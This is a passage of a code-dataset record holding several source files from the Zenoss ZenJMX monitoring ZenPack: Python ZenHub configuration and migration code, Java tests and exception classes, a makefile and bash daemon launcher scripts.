{\n// List<String> keyList = new ArrayList<String>();\n// keyList.add(\"key\");\n// List<String> typeList = new ArrayList<String>();\n// typeList.add(\"type\");\n// int arg = 1;\n// OperationCall call = getCall(\"operationIntResultAnIntArg\", \"1\", \"int\");\n// call.call();\n// assertEquals(\"operationIntResultAnIntArg\", ZenJMXTest.lastCall);\n// assertTrue(Arrays.equals(new Object[]{arg}, ZenJMXTest.lastArgs));\n// assertEquals(arg, ZenJMXTest.lastReturn);\n\n }\n \n \n// public OperationCall getCall(String operation,String args, String types) throws Exception\n// {\n//// Map config = new HashMap();\n//// \n//// config.put(\"jmxPort\", \"9999\");\n//// config.put(\"rmiContext\", \"server\");\n//// config.put(\"jmxProtocol\",\"RMI\");\n//// config.put(\"manageIp\", \"localhost\");\n//// config.put(JmxCall.AUTHENTICATE,Boolean.FALSE);\n//// config.put(OperationCall.OPERATION_PARAM_TYPES, types);\n//// config.put(OperationCall.OPERATION_PARAM_VALUES, args);\n//// config.put(CallFactory.DATA_POINT, new Object[]{\"myDataPoint\"});\n//// config.put(JmxCall.TYPES, new Object[]{\"rrdType\"});\n//// config.put(JmxCall.OBJECT_NAME, mbeanObjectName.getCanonicalName());\n//// config.put(OperationCall.OPERATION_NAME, operation);\n//// OperationCall call = OperationCall.fromValue(config);\n//// return call;\n// }\n}\n"},{"alpha_fraction":0.6015329957008362,"alphanum_fraction":0.6041273474693298,"avg_line_length":35.085105895996094,"blob_id":"a7c923f0f4672e8d015c01800251df1cf7b6b232","content_id":"9d87ebe416a7b327662ca8887c04f079ab81dcfb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":8480,"license_type":"no_license","max_line_length":111,"num_lines":235,"path":"/ZenPacks/zenoss/ZenJMX/services/ZenJMXConfigService.py","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2008, 2009 Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\nimport md5\n\nimport Globals\nimport logging\nfrom Products.ZenHub.services.PerformanceConfig import PerformanceConfig\nfrom Products.ZenUtils.ZenTales import talesEval\nfrom Products.ZenEvents.Exceptions import pythonThresholdException\nfrom Products.ZenEvents.ZenEventClasses import Error, Clear\nfrom Products.ZenCollector.services.config import CollectorConfigService\n\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\n\nfrom twisted.spread import pb\nlog = logging.getLogger( \"zen.zenjmxconfigservices\" )\nclass RRDConfig(pb.Copyable, pb.RemoteCopy):\n \"\"\"\n RRD configuration for a datapoint.\n Contains the create command and the min and max \n values for a datapoint\n \"\"\"\n def __init__(self, dp):\n self.dpName = dp.name()\n self.command = dp.createCmd\n self.dataPointId = dp.id\n self.min = dp.rrdmin\n self.max = dp.rrdmax\n self.rrdType = dp.rrdtype\n\npb.setUnjellyableForClass(RRDConfig, RRDConfig)\n \n\nclass JMXDeviceConfig(pb.Copyable, pb.RemoteCopy):\n \"\"\"\n Represents the configuration for a device.\n Contains a list of JMXDataSourceConfig objects\n \"\"\"\n \n def __init__(self, device):\n self.id = device.id\n self.configId = device.id\n #map of jmxserverkey to JMXDataSourceConfig list\n self.jmxDataSourceConfigs = {}\n self.manageIp = device.manageIp\n self.thresholds = []\n\n # Default interval is 5 minutes.\n # This may be replaced with per datasource\n # intervals at some point. For now, this\n # will be ignored at the collector.\n self.configCycleInterval = 5 * 60\n \n def findDataSource(self, dataSourceId):\n for subList in self.jmxDataSourceConfigs.values():\n for dsConfig in subList:\n if(dsConfig.datasourceId == dataSourceId):\n return dsConfig\n return None\n \n def add(self, jmxDataSourceConfig):\n \"\"\"\n add a JMXDataSourceConfig to the device configuration\n \"\"\"\n key = jmxDataSourceConfig.getJMXServerKey()\n configs = self.jmxDataSourceConfigs.get(key)\n if(not configs):\n configs = []\n self.jmxDataSourceConfigs[key] = configs\n configs.append(jmxDataSourceConfig)\n \npb.setUnjellyableForClass(JMXDeviceConfig, JMXDeviceConfig)\n\n\nclass JMXDataSourceConfig(pb.Copyable, pb.RemoteCopy):\n \"\"\"\n Represents a JMX datasource configuration on a device. \n \"\"\"\n\n def __init__(self, device, component, template, datasource):\n self.device = device.id\n self.manageIp = device.manageIp\n self.datasourceId = datasource.id\n if component is None:\n self.component = datasource.getComponent(device)\n self.rrdPath = device.rrdPath()\n self.copyProperties(device, datasource)\n else:\n self.component = datasource.getComponent(component)\n self.rrdPath = component.rrdPath()\n self.copyProperties(component, datasource)\n\n #dictionary of datapoint name to RRDConfig\n self.rrdConfig = {}\n for dp in datasource.datapoints():\n self.rrdConfig[dp.id] = RRDConfig(dp)\n\n\n def copyProperties(self, device, ds):\n \"\"\"\n copy the properties from the datasouce and set them\n as attributes\n \"\"\"\n for propName in [prop['id'] for prop in ds._properties]:\n value = getattr(ds, propName)\n if str(value).find('$') >= 0:\n value = talesEval('string:%s' % (value,), device)\n if propName == 'authenticate':\n if value:\n value = str(value).lower().capitalize()\n value = bool(value)\n setattr(self, propName, value)\n\n\n def key(self):\n return self.device, self.datasourceId\n\n def getJMXServerKey(self):\n \"\"\"\n string which represents the jmx server and connection props. \n Can be compared to determine if datasources configurations point to the\n same jmx server\n \"\"\"\n return self.device + self.manageIp + self.getConnectionPropsKey()\n \n def getConnectionPropsKey(self):\n \"\"\"\n string key which represents the connection properties that make up \n the connection properties for the datasource. \n \"\"\"\n # raw service URL is being used\n if self.jmxRawService:\n return self.jmxRawService\n\n components = [self.jmxProtocol]\n if self.jmxProtocol == \"RMI\":\n components.append(self.rmiContext)\n components.append(str(self.jmxPort))\n if (self.authenticate):\n creds = self.username + self.password\n components.append( md5.new(creds).hexdigest() );\n \n return \":\".join(components)\n \n def update(self, value):\n self.__dict__.update(value.__dict__)\n\npb.setUnjellyableForClass(JMXDataSourceConfig, JMXDataSourceConfig)\n\n\nclass ZenJMXConfigService(CollectorConfigService):\n \"\"\"ZenHub service for getting ZenJMX configurations \n from the object database\"\"\"\n def __init__(self, dmd, instance):\n attributes = ()\n CollectorConfigService.__init__(self,\n dmd,\n instance,\n attributes)\n self._ds_errors = {}\n\n\n def _get_ds_conf(self, device, component, template, ds):\n component_id = None if (component is None) else component.id\n ds_error_key = (device.id, component_id, template.id, ds.id)\n ds_conf = None\n\n try:\n ds_conf = JMXDataSourceConfig(device, component, template, ds)\n evt = self._ds_errors.pop(ds_error_key, None)\n if evt is not None:\n evt[\"severity\"] = Clear\n self.sendEvent(evt)\n\n except Exception, e:\n fmt = \"Evaluation of data source '{0.id}' in template '{1.id}' failed: {2.__class__.__name__}: {2}\"\n summary = fmt.format(ds, template, e)\n evt = dict(severity=Error,\n device=device.id,\n eventClass=\"/Status/JMX\",\n summary=summary)\n msg = summary + \" device={0.id}\".format(device)\n evt[\"component\"] = component_id\n msg += \", component={0}\".format(component_id)\n self.sendEvent(evt)\n self._ds_errors[ds_error_key] = evt\n self.log.error(msg)\n\n return ds_conf\n\n\n def _createDeviceProxy(self, device):\n deviceConfig = JMXDeviceConfig(device)\n deviceConfig.thresholds += device.getThresholdInstances(\n JMXDataSource.sourcetype)\n\n for template in device.getRRDTemplates():\n for ds in self._getDataSourcesFromTemplate(template):\n ds_conf = self._get_ds_conf(device, None, template, ds)\n if ds_conf is not None:\n deviceConfig.add(ds_conf)\n\n for component in device.getMonitoredComponents():\n deviceConfig.thresholds += component.getThresholdInstances(\n JMXDataSource.sourcetype)\n\n for template in component.getRRDTemplates():\n for ds in self._getDataSourcesFromTemplate(template):\n ds_conf = JMXDataSourceConfig(device, component, template, ds)\n if ds_conf is not None:\n deviceConfig.add(ds_conf)\n\n # Don't both returning a proxy if there are no datasources.\n if not len(deviceConfig.jmxDataSourceConfigs.keys()):\n return None\n\n return deviceConfig\n\n def _getDataSourcesFromTemplate(self, template):\n datasources = []\n for ds in template.getRRDDataSources('JMX'):\n if not ds.enabled: continue\n datasources.append(ds)\n\n return datasources\n"},{"alpha_fraction":0.6416906714439392,"alphanum_fraction":0.6493756175041199,"avg_line_length":34.89655303955078,"blob_id":"3b67c4b3eb44a8a1d4ec35b6bbbf5f20c9eb9452","content_id":"ee11dc16169104f7e6a17e9964bec97ad7fb7aea","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1041,"license_type":"no_license","max_line_length":75,"num_lines":29,"path":"/ZenPacks/zenoss/ZenJMX/migrate/MigratePassword.py","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2009, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nimport logging\nlog = logging.getLogger(\"zen.migrate\")\n\nimport Globals\nfrom Products.ZenModel.migrate.Migrate import Version\nfrom Products.ZenModel.ZenPack import ZenPackMigration\nfrom Products.ZenModel.migrate.MigrateUtils import migratePropertyType\n\nclass MigratePassword(ZenPackMigration):\n version = Version(3, 3, 0)\n\n def migrate(self, dmd):\n log.info(\"Migrating zJmxPassword\")\n migratePropertyType(\"zJmxPassword\", dmd, \"string\")\n \nMigratePassword()\n"},{"alpha_fraction":0.5871644616127014,"alphanum_fraction":0.5896328091621399,"avg_line_length":39.5,"blob_id":"832497a495b67664528c0d34e74bcc8e5527f8aa","content_id":"86d74f35275cf84dbd3e3372b6dd474357ab18b3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3241,"license_type":"no_license","max_line_length":78,"num_lines":80,"path":"/ZenPacks/zenoss/ZenJMX/migrate/UpdateZenJMXTemplates.py","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2008, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nimport Globals\nfrom Products.ZenModel.migrate.Migrate import Version\nfrom Products.ZenModel.ZenPack import ZenPack, ZenPackMigration\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\nimport logging\nlog = logging.getLogger(\"zen\")\n\nclass UpdateZenJMXTemplates(ZenPackMigration):\n version = Version(3, 1, 2)\n \n def migrate(self, pack): \n log.debug(\"UpdateZenJMXTemplates migrate\")\n zenJMXTemplate = pack.dmd.Devices.rrdTemplates.ZenJMX\n #delete old datasources\n def deleteDataSource(dsId):\n \n log.debug(\"deleteDataSource for %s\", dsId)\n ds = None\n try:\n log.debug(\"looking up datasource\")\n ds = zenJMXTemplate.datasources._getOb(dsId)\n log.debug(\"found datasource\")\n except AttributeError:\n log.debug(\"error looking up datasource\")\n log.debug(\"%s datasource does not exist\", dsId)\n return\n pack.manage_deletePackable([ds.getPrimaryUrlPath()])\n zenJMXTemplate.manage_deleteRRDDataSources([dsId])\n \n\n deleteDataSource('Non-Heap Memory')\n deleteDataSource('Heap Memory')\n deleteDataSource('Open File Descriptors')\n deleteDataSource('Thread Count')\n \n #remote graph datapoints that were in the deleted datasources \n def deleteGraphPoint(graphId, dpId):\n log.debug(\"deleteGraphPoint for %s\", dpId)\n graph = None\n try:\n graph = zenJMXTemplate.graphDefs._getOb(graphId)\n except AttributeError:\n log.debug(\"%s graph def does not exist\", graphId)\n return\n \n gp = None\n try:\n gp = graph.graphPoints._getOb(dpId)\n except AttributeError:\n log.debug(\"%s graph point does not exist on graph %s\", \n dpId, graphId)\n return\n pack.manage_deletePackable([gp.getPrimaryUrlPath()])\n graph.manage_deleteGraphPoints([dpId]) \n \n deleteGraphPoint('ZenJMX Non-Heap Memory','Non-Heap Memory_committed')\n \n deleteGraphPoint('ZenJMX Non-Heap Memory','Non-Heap Memory_used')\n \n deleteGraphPoint('ZenJMX Heap Memory','Heap Memory_used')\n \n deleteGraphPoint('ZenJMX Heap Memory','Heap Memory_committed')\n \n deleteGraphPoint('ZenJMX Open File Descriptors',\n 'Open File Descriptors_OpenFileDescriptorCount')\n \n deleteGraphPoint('ZenJMX Thread Count','Thread Count_ThreadCount')\n\n"},{"alpha_fraction":0.5977859497070312,"alphanum_fraction":0.605449914932251,"avg_line_length":24.90441131591797,"blob_id":"d9bdc56c786dedbf2718e8a65472a9f2f2c79d39","content_id":"53d4fc371fdd62b0b1a2381cd74b96051656d2de","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":3523,"license_type":"no_license","max_line_length":75,"num_lines":136,"path":"/ZenPacks/zenoss/ZenJMX/src/test/java/com/zenoss/zenpacks/zenjmx/call/MultiValueAttributeCallTest.java","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx.call;\n\nimport junit.framework.*;\nimport junit.textui.TestRunner;\n\nimport java.util.List;\nimport java.util.ArrayList;\n\n\n/**\n * <p> Tests the methods in the MultiValueAttributeCall class. Don't\n * feel reassured though - the extensiveness of the test is\n * lacking... </p>\n *\n * <p>$Author: chris $</p>\n *\n * @author Christopher Blunck\n * @version $Revision: 1.6 $\n */\npublic class MultiValueAttributeCallTest\n extends TestCase {\n\n // the configuration for the call\n private static final String URL = \n \"service:jmx:jmxrmi://localhost:12345/mbean\";\n private static final boolean AUTHENTICATE = true;\n private static final String USERNAME = \"username\";\n private static final String PASSWORD = \"password\";\n private static final String OBJECT_NAME = \"mbean\";\n private static final String ATTR_NAME = \"attribute\";\n private static final String ATTR_TYPE = \"attribute type\";\n\n private static List<String> KEYS;\n private static List<String> TYPES;\n\n private AttributeCall _call1;\n private AttributeCall _call2;\n\n\n static {\n KEYS = new ArrayList<String>();\n KEYS.add(\"key1\");\n KEYS.add(\"key2\");\n \n TYPES = new ArrayList<String>();\n TYPES.add(\"java.lang.String\");\n TYPES.add(\"java.lang.Double\");\n }\n\n\n /**\n * Constructs a test that invokes a specific test method\n */\n public MultiValueAttributeCallTest(String method) {\n super(method);\n }\n\n\n /**\n * Called before each method is invoked\n */\n public void setUp() { \n// _call1 = \n// new MultiValueAttributeCall(URL, AUTHENTICATE, \n// USERNAME, PASSWORD, \n// OBJECT_NAME, ATTR_NAME,\n// KEYS, TYPES);\n//\n// _call2 = \n// new MultiValueAttributeCall(URL, AUTHENTICATE, \n// USERNAME, PASSWORD, \n// OBJECT_NAME, ATTR_NAME,\n// KEYS, TYPES);\n }\n\n\n /**\n * Called after each method finishes execution\n */\n public void tearDown() { \n _call1 = null;\n _call2 = null;\n }\n\n\n /**\n * Defines the list of test methods to run. By default we'll run\n * 'em all.\n */\n public static Test suite() {\n TestSuite suite = new TestSuite(MultiValueAttributeCallTest.class);\n return suite;\n }\n\n \n /**\n * Runs all the tests via the command line.\n */\n public static void main(String[] args) {\n TestRunner.run(MultiValueAttributeCallTest.class);\n }\n\n\n /*\n * TEST METHODS BEGIN HERE\n */\n\n /**\n * Tests the hashCode() method\n */\n public void testHashCode() {\n// assertEquals(_call1.hashCode(), _call2.hashCode());\n }\n\n\n /**\n * Tests the equals() method\n */\n public void testEquals() {\n// assertTrue(_call1.equals(_call2));\n }\n}\n"},{"alpha_fraction":0.5877957940101624,"alphanum_fraction":0.5940223932266235,"avg_line_length":24.935483932495117,"blob_id":"44055713843e43bacd93cf436465a7c6ba82b4e6","content_id":"bd1a12d8f48fd435102ffd1e76bfb960b1c7fd1f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Makefile","length_bytes":803,"license_type":"no_license","max_line_length":77,"num_lines":31,"path":"/GNUmakefile","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 as published by\n# the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\n\ndefault: egg\n\n\negg:\n # setup.py will call 'make build' before creating the egg\n\tpython setup.py bdist_egg\n\n\nbuild:\n\tcd ZenPacks/zenoss/ZenJMX; make install\n\n\nclean:\n\trm -rf build dist temp\n\trm -rf *.egg-info\n\tfind . -name *.pyc | xargs rm\n\tcd ZenPacks/zenoss/ZenJMX; make clean"},{"alpha_fraction":0.6098807454109192,"alphanum_fraction":0.6195343732833862,"avg_line_length":27.868852615356445,"blob_id":"16b8b3146ad9ddacaf17bc352d5133408183a05f","content_id":"7391fc3119480f0de967b498d356fd3df74f4bf3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":1761,"license_type":"no_license","max_line_length":77,"num_lines":61,"path":"/ZenPacks/zenoss/ZenJMX/bin/zenjmxjava","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"#! /usr/bin/env bash\n###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 as published by\n# the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nMYPATH=`python -c \"import os.path; print os.path.realpath('$0')\"`\nTHISDIR=`dirname $MYPATH`\nPRGHOME=`dirname $THISDIR`\nPRGNAME=zenjmxjava\n\n\nZENJMX_HOME=${PRGHOME}\nLIB_DIR=${ZENJMX_HOME}/lib\n\nCFGFILE=${ZENHOME}/etc/zenjmx.conf\nif [ ! -f ${CFGFILE} ]; then\n cp ${LIB_DIR}/zenjmx.conf ${CFGFILE}\nfi\n\nMONITOR=`awk '/^monitor/ { print $2; }' ${CFGFILE}`\nif [ -z \"${MONITOR}\" ]; then\n MONITOR=\"localhost\"\nfi\n\nPIDFILE=${ZENHOME}/var/zenjmxjava-${MONITOR}.pid\n\nCMD=$1\nshift\n\n. ${ZENJMX_HOME}/bin/java-functions.sh\n\nLOGPATH=`awk '/^logpath/ { print $2; }' ${CFGFILE}`\nif [ -z \"${LOGPATH}\" ]; then\n LOGPATH=\"${ZENHOME}/log\"\nfi\n\ncd ${LIB_DIR}\nLOG4J_PROPS=`find ${LIB_DIR} -name log4j.properties`\nsed -e \"s@\\(LOGFILE.File=\\).*@\\1${LOGPATH}/zenjmx.log@\" ${LOG4J_PROPS} \\\n > ${LOG4J_PROPS}.new && \\\n mv ${LOG4J_PROPS}.new ${LOG4J_PROPS}\n\n# these variables must be set (this includes CLASSPATH, which is set above)\nZENJMX_JAR=${LIB_DIR}/zenjmx.jar\nSTART_ARGS=\"--configfile ${CFGFILE} $@\"\nRUN_ARGS=\"--configfile ${CFGFILE} $@\"\n\nJMX_LISTEN_PORT=`awk '/^jmxremoteport/ { print $2; }' ${CFGFILE}`\nDEFAULT_ZENJMX_JVM_ARGS=\"${DEFAULT_ZENJMX_JVM_ARGS} -server ${JVM_MAX_HEAP}\"\nJVM_ARGS=\"$DEFAULT_ZENJMX_JVM_ARGS\"\n\ngeneric $@\n"},{"alpha_fraction":0.693489670753479,"alphanum_fraction":0.695511519908905,"avg_line_length":65.54054260253906,"blob_id":"5900f96b3d6909ac38ac7f38e08ec35e30b92eb0","content_id":"1bbcd2af5c288502bc137ea549e2225c26ce73f2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2473,"license_type":"no_license","max_line_length":149,"num_lines":37,"path":"/ZenPacks/zenoss/ZenJMX/interfaces.py","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2010, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\nfrom Products.Zuul.interfaces import IRRDDataSourceInfo\nfrom Products.Zuul.form import schema\nfrom Products.Zuul.utils import ZuulMessageFactory as _t\n\n\nclass IJMXDataSourceInfo(IRRDDataSourceInfo):\n # Connection Info\n jmxPort = schema.TextLine(title=_t(u'Management Port'), group=_t(u'JMX Connection and Metadata Infomation'))\n jmxProtocol = schema.Choice(title=_t(u'Protocol'), group=_t(u'JMX Connection and Metadata Infomation'),\n vocabulary='jmxProtocolVocabulary')\n jmxRawService = schema.TextLine(title=_t(u'Raw Service URL (advanced users only)'), group=_t(u'JMX Connection and Metadata Infomation'))\n rmiContext = schema.TextLine(title=_t(u'RMI Context (URL context when using RMI Protocol)'), group=_t(u'JMX Connection and Metadata Infomation'))\n objectName = schema.TextLine(title=_t(u'Object Name'), group=_t(u'JMX Connection and Metadata Infomation'))\n\n # Authentication\n username = schema.TextLine(title=_t(u'Username'), group=_t(u'JMX Remote Authentication Information'))\n authenticate = schema.TextLine(title=_t(u'Auth Enabled'), group=_t(u'JMX Remote Authentication Information'))\n password = schema.Password(title=_t(u'Password'), group=_t(u'JMX Remote Authentication Information'))\n \n # Operation\n attributeName = schema.TextLine(title=_t(u'Attribute Name'), group=_t(u'JMX Attribute and Operation Configuration'))\n attributePath = schema.TextLine(title=_t(u'Attribute Path'), group=_t(u'JMX Attribute and Operation Configuration'))\n operationParamValues = schema.TextLine(title=_t(u'Parameter Values'), group=_t(u'JMX Attribute and Operation Configuration'))\n operationName = schema.TextLine(title=_t(u'Operation Name'), group=_t(u'JMX Attribute and Operation Configuration'))\n operationParamTypes = schema.TextLine(title=_t(u'Parameter Types'), group=_t(u'JMX Attribute and Operation Configuration'))\n \n \n\n"},{"alpha_fraction":0.5845539569854736,"alphanum_fraction":0.5925433039665222,"avg_line_length":31.65217399597168,"blob_id":"4fb3aab7c9f002e71ff704eaeb9ed40165c6f6d7","content_id":"c2d79717c2066b6ca436d41273e63736e40ece97","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":751,"license_type":"no_license","max_line_length":77,"num_lines":23,"path":"/ZenPacks/zenoss/ZenJMX/daemons/zenjmx","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"#! /usr/bin/env bash\n###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2008, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 as published by\n# the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\n. $ZENHOME/bin/zenfunctions\n\nMYPATH=`python -c \"import os.path; print os.path.realpath('$0')\"`\nTHISDIR=`dirname $MYPATH`\nPRGHOME=`dirname $THISDIR`\nPRGNAME=zenjmx.py\nCFGFILE=$CFGDIR/zenjmx.conf\n\ngeneric \"$@\"\n"},{"alpha_fraction":0.6275510191917419,"alphanum_fraction":0.634839653968811,"avg_line_length":29.488889694213867,"blob_id":"82d9fbcfd01630481b9695fc22ca47d1623b6f56","content_id":"ea4281845e866f837b18193dc0e7ba7695ab5732","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":1372,"license_type":"no_license","max_line_length":75,"num_lines":45,"path":"/ZenPacks/zenoss/ZenJMX/src/main/java/com/zenoss/zenpacks/zenjmx/call/ConfigurationException.java","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx.call;\n\n\n/**\n * <p> Represents a problem that occurred as a result of\n * configuration. </p>\n *\n * <p>$Author: chris $</p>\n *\n * @author Christopher Blunck\n * @version $Revision: 1.6 $\n */\npublic class ConfigurationException \n extends Exception {\n\n /**\n * Creates a ConfigurationException based on a message and an\n * exception that caused the ConfigurationException.\n */\n public ConfigurationException(String message, Throwable t) {\n super(message, t);\n }\n\n\n /**\n * Creates a ConfigurationException given a message\n */\n public ConfigurationException(String message) {\n super(message);\n }\n}\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5033055543899536,\n \"alphanum_fraction\": 0.5142282247543335,\n \"avg_line_length\": 20.731250762939453,\n \"blob_id\": \"5455a487f543d8ff45e633452375d8ceafe10fc4\",\n \"content_id\": \"db649023a3a45c67fa94046deea8aabe28ab6666\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 3479,\n \"license_type\": \"no_license\",\n \"max_line_length\": 80,\n \"num_lines\": 160,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/bin/java-functions.sh\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2007, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 or (at your\\n# option) any later version as published by the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\n\\nreplace() {\\n SEARCH=$1\\n REPLACE=$2\\n FILE=$3\\n TEMP=/tmp/`basename $FILE`\\n\\n sed -e \\\"s%${SEARCH}%${REPLACE}%g\\\" < ${FILE} > ${TEMP}\\n mv ${TEMP} ${FILE}\\n}\\n\\nrunning() {\\n if [ -f $PIDFILE ]; then\\n PID=`cat $PIDFILE`\\n\\t kill -0 $PID 2>/dev/null || $PS | grep -q \\\"^ *$PID$\\\"\\n\\t return $?\\n fi\\n\\n return 1\\n}\\n\\nrestart() {\\n stop\\n for i in 1 2 3 4 5 6 7 8 9 10\\n do\\n sleep 0.24 2>/dev/null || sleep 1\\n test -f $PIDFILE || break\\n done\\n start \\\"$@\\\"\\n}\\n\\njmx_args() {\\n JMX_ARGS=\\\"\\\"\\n if [ ! -z \\\"${JMX_LISTEN_PORT}\\\" ]; then\\n JMX_ARGS=\\\"-Dcom.sun.management.jmxremote.port=${JMX_LISTEN_PORT}\\\"\\n JMX_ARGS=\\\"${JMX_ARGS} -Dcom.sun.management.jmxremote.authenticate=false\\\"\\n JMX_ARGS=\\\"${JMX_ARGS} -Dcom.sun.management.jmxremote.ssl=false\\\"\\n fi\\n echo $JMX_ARGS\\n}\\n\\nrun() {\\n exec java \\\\\\n ${JVM_ARGS} \\\\\\n -jar ${ZENJMX_JAR} \\\\\\n ${RUN_ARGS}\\n}\\n\\nrunjmxenabled() {\\n JVM_ARGS=\\\"${JVM_ARGS} `jmx_args`\\\"\\n exec java \\\\\\n ${JVM_ARGS} \\\\\\n -jar ${ZENJMX_JAR} \\\\\\n ${RUN_ARGS}\\n}\\n\\nstart() {\\n if running; then \\n echo is already running\\n else\\n echo starting...\\n JVM_ARGS=\\\"${JVM_ARGS} `jmx_args`\\\"\\n eval exec java \\\\\\n ${JVM_ARGS} \\\\\\n -jar ${ZENJMX_JAR} \\\\\\n ${START_ARGS} > /dev/null 2>&1 &\\n PID=$!\\n echo $PID > $PIDFILE\\n fi\\n}\\n\\nstop() {\\n if running; then\\n PID=`cat $PIDFILE`\\n echo stopping...\\n kill $PID\\n if [ $? -gt 0 ]; then\\n rm -f $PIDFILE\\n echo clearing pid file\\n fi\\n else\\n echo already stopped\\n fi\\n}\\n\\nstatus() {\\n if running; then\\n echo program running\\\\; pid=$PID\\n exit 109\\n else\\n rm -f $PIDFILE\\n echo not running\\n exit 100\\n fi\\n}\\n\\ngeneric() {\\n case \\\"$CMD\\\" in\\n run)\\n\\t run \\\"$@\\\"\\n\\t ;;\\n runjmxenabled)\\n\\t runjmxenabled \\\"$@\\\"\\n\\t ;;\\n start)\\n\\t start \\\"$@\\\"\\n\\t ;;\\n stop)\\n\\t stop\\n\\t ;;\\n restart)\\n\\t restart \\\"$@\\\"\\n\\t ;;\\n status)\\n\\t status\\n\\t ;;\\n help)\\n\\t help\\n\\t ;;\\n *)\\n\\t cat - <<HELP\\nUsage: $0 {run|start|stop|restart|status|help} [options]\\n\\n where the commands are:\\n\\n run - start the program but don't put it in the background.\\n NB: This mode is good for debugging.\\n\\n start - start the program in daemon mode -- running in the background,\\n detached from the shell\\n\\n stop - stop the program\\n\\n restart - stop and then start the program\\n 